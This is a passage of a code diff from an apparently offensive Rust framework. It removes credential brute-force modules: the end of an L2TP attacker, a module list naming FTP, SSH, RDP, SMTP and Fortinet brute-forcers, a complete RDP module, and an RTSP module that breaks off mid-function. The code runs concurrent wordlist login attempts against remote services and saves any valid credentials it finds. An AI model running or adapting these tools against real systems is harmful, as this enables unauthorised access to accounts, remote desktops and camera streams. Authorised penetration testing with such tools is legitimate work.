// Try to establish connection using ipsec
// Note: This requires root privileges and proper strongswan setup
// strongswan typically reads from /etc/ipsec.conf and /etc/ipsec.secrets
// For a bruteforce tool, we'd ideally use temporary configs, but ipsec
// doesn't easily support that. This is a framework implementation.
// In practice, you might need to:
// 1. Run as root
// 2. Temporarily modify system config files, or
// 3. Use strongswan's swanctl with custom configs
// Try using ipsec up command (requires proper system configuration)
let mut child = Command::new("ipsec")
.arg("up")
.arg(&conn_name)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check if connection was established
// Exit code 0 typically means success
Ok(status.success())
}
Ok(Err(e)) => {
Err(anyhow!("strongswan error: {}", e))
}
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up connection
let _ = Command::new("ipsec")
.arg("down")
.arg(&conn_name)
.output()
.await;
// Clean up temp files
let _ = std::fs::remove_file(&ipsec_conf_path);
let _ = std::fs::remove_file(&ipsec_secrets_path);
result
}
async fn try_l2tp_xl2tpd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// xl2tpd requires configuration files
// Create temporary config files for this attempt
let temp_dir = std::env::temp_dir();
let conn_name = format!("l2tp_brute_{}", std::process::id());
let xl2tpd_conf_path = temp_dir.join(format!("{}.xl2tpd.conf", conn_name));
let ppp_secrets_path = temp_dir.join(format!("{}.chap-secrets", conn_name));
let server_ip = addr.split(':').next().unwrap_or(addr);
// Build xl2tpd config
let xl2tpd_conf = format!(
r#"[lac {}]
lns = {}
ppp debug = no
pppoptfile = /etc/ppp/options.xl2tpd
length bit = yes
"#,
conn_name, server_ip
);
// Build PPP secrets (CHAP)
let ppp_secrets = format!(
r#"{} * {} *
"#,
username, password
);
// Write config files
std::fs::write(&xl2tpd_conf_path, xl2tpd_conf)
.map_err(|e| anyhow!("Failed to write xl2tpd config: {}", e))?;
std::fs::write(&ppp_secrets_path, ppp_secrets)
.map_err(|e| anyhow!("Failed to write PPP secrets: {}", e))?;
// Try to connect using xl2tpd-control
// Note: xl2tpd must be running and configured
let mut child = Command::new("xl2tpd-control")
.arg("connect")
.arg(&conn_name)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check if connection was established
Ok(status.success())
}
Ok(Err(e)) => Err(anyhow!("xl2tpd error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up connection
let _ = Command::new("xl2tpd-control")
.arg("disconnect")
.arg(&conn_name)
.output()
.await;
// Clean up temp files
let _ = std::fs::remove_file(&xl2tpd_conf_path);
let _ = std::fs::remove_file(&ppp_secrets_path);
result
}
#[cfg(target_os = "linux")]
async fn try_l2tp_pppd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// pppd with L2TP plugin
// This requires proper configuration and typically root privileges
let server_ip = addr.split(':').next().unwrap_or(addr);
// Create temporary options file for pppd
let temp_dir = std::env::temp_dir();
let options_file = temp_dir.join(format!("pppd_options_{}.txt", std::process::id()));
let options_content = format!(
r#"noauth
user {}
password {}
plugin pppol2tp.so
pppol2tp_server {}
"#,
username, password, server_ip
);
std::fs::write(&options_file, options_content)
.map_err(|e| anyhow!("Failed to write pppd options: {}", e))?;
let mut child = Command::new("pppd")
.arg("nodetach")
.arg("file")
.arg(&options_file)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// pppd returns 0 on successful connection
Ok(status.success())
}
Ok(Err(e)) => Err(anyhow!("pppd error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up temp file
let _ = std::fs::remove_file(&options_file);
result
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
Ok(formatted)
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn prompt_optional(msg: &str) -> Result<Option<String>> {
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
None
} else {
Some(trimmed.to_string())
})
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"l2tp_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
-14
View File
@@ -1,14 +0,0 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
pub mod snmp_bruteforce;
pub mod fortinet_bruteforce;
pub mod l2tp_bruteforce;
File diff suppressed because it is too large Load Diff
-521
View File
@@ -1,521 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== RDP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "10")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = format_socket_address(target, port);
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", addr);
println!("[*] Timeout: {} seconds", timeout_secs);
// Count lines for display
let user_count = count_lines(&usernames_file_path)?;
if user_count == 0 {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", user_count);
let password_count = count_lines(&passwords_file_path)?;
if password_count == 0 {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", password_count);
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
if combo_mode {
// Try every password with every user - read line by line
let user_file = File::open(&usernames_file_path)?;
let user_reader = BufReader::new(user_file);
for user_line in user_reader.lines() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let user = match user_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if user.is_empty() {
continue;
}
// Open password file for each user
let pass_file = File::open(&passwords_file_path)?;
let pass_reader = BufReader::new(pass_file);
for pass_line in pass_reader.lines() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let pass = match pass_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if pass.is_empty() {
continue;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
let timeout_duration = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
} else {
// Try passwords sequentially, cycling through users - read line by line
let pass_file = File::open(&passwords_file_path)?;
let pass_reader = BufReader::new(pass_file);
// Load users into memory for cycling (needed for modulo access)
let users = load_lines(&usernames_file_path)?;
for (i, pass_line) in pass_reader.lines().enumerate() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let pass = match pass_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if pass.is_empty() {
continue;
}
let user = users[i % users.len()].clone();
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
let timeout_duration = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
// Wait for remaining tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
async fn try_rdp_login(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
// Check if xfreerdp is available
let xfreerdp_check = Command::new("which")
.arg("xfreerdp")
.output()
.await;
let use_xfreerdp = if let Ok(output) = xfreerdp_check {
output.status.success()
} else {
false
};
if !use_xfreerdp {
// Fallback: try rdesktop if xfreerdp is not available
let rdesktop_check = Command::new("which")
.arg("rdesktop")
.output()
.await;
let use_rdesktop = if let Ok(output) = rdesktop_check {
output.status.success()
} else {
false
};
if use_rdesktop {
return try_rdp_login_rdesktop(addr, user, pass, timeout_duration).await;
}
return Err(anyhow!("Neither xfreerdp nor rdesktop is available. Please install one of them."));
}
// Use xfreerdp for authentication
let mut child = Command::new("xfreerdp")
.arg(format!("/v:{}", addr))
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg(format!("/timeout:{}", timeout_duration.as_secs() * 1000))
.arg("+auth-only") // Attempt authentication without full desktop session
.arg("/log-level:OFF")
.arg("/sec:nla") // Use Network Level Authentication
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.spawn()?;
// Wait for process with timeout
match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check exit code - 0 typically means success
Ok(status.success())
}
Ok(Err(e)) => {
Err(anyhow!("Process error: {}", e))
}
Err(_) => {
// Timeout - kill the process
let _ = child.kill().await;
Ok(false)
}
}
}
async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
// Fallback to rdesktop (less reliable but sometimes available)
let mut child = Command::new("rdesktop")
.arg("-u")
.arg(user)
.arg("-p")
.arg(pass)
.arg("-n")
.arg("auth-only")
.arg(addr)
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.spawn()?;
match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => Ok(status.success()),
Ok(Err(e)) => Err(anyhow!("Process error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|line| !line.trim().is_empty())
.count())
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"rdp_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
fn format_socket_address(ip: &str, port: u16) -> String {
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") {
format!("[{}]:{}", trimmed_ip, port)
} else {
format!("{}:{}", trimmed_ip, port)
}
}
@@ -1,485 +0,0 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
let (addr, implicit_path) = normalize_target_input(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let command = advanced_command.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
return;
}
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
)
.await
{
Ok(true) => {
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(*sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
